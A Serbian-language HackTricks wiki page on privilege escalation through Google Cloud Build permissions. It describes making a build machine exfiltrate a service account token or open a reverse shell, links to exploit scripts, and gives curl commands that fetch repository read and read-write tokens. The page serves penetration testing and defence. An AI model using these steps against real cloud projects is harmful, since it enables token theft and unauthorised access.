# GCP - Cloudbuild Privesc

{{#include ../../../banners/hacktricks-training.md}}

## cloudbuild

Za više informacija o Cloud Build, proverite:

{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
{{#endref}}

### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`

Sa ovom dozvolom možete **podneti cloud build**. Cloudbuild mašina će imati u svom fajl sistemu po **defaultu token cloudbuild Service Account-a**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Međutim, možete **navesti bilo koji servisni nalog unutar projekta** u cloudbuild konfiguraciji.\
Stoga, možete jednostavno naterati mašinu da exfiltrira token na vaš server ili **dobiti reverznu ljusku unutar nje i dobiti token** (fajl koji sadrži token može se promeniti).

Možete pronaći originalni exploit skript [**ovde na GitHub-u**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (ali lokacija sa koje uzima token nije radila za mene). Stoga, proverite skript za automatizaciju [**kreiranja, eksploatacije i čišćenja ranjivog okruženja ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) i python skript za dobijanje reverzne ljuske unutar cloudbuild mašine i [**krađu ovde**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (u kodu možete pronaći kako da navedete druge servisne naloge)**.**

Za detaljnije objašnjenje, posetite [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)

### `cloudbuild.builds.update`

**Potencijalno** sa ovom dozvolom bićete u mogućnosti da **ažurirate cloud build i jednostavno ukradete token servisnog naloga** kao što je to učinjeno sa prethodnom dozvolom (ali nažalost u vreme pisanja ovog teksta nisam mogao pronaći način da pozovem taj API).

TODO

### `cloudbuild.repositories.accessReadToken`

Sa ovom dozvolom korisnik može dobiti **token za čitanje** koji se koristi za pristup repozitorijumu:
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
```
### `cloudbuild.repositories.accessReadWriteToken`

Sa ovom dozvolom korisnik može dobiti **token za čitanje i pisanje** koji se koristi za pristup repozitorijumu:
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
```
### `cloudbuild.connections.fetchLinkableRepositories`

Sa ovom dozvolom možete **dobiti repozitorijume kojima konekcija ima pristup:**
```bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
```
{{#include ../../../banners/hacktricks-training.md}}
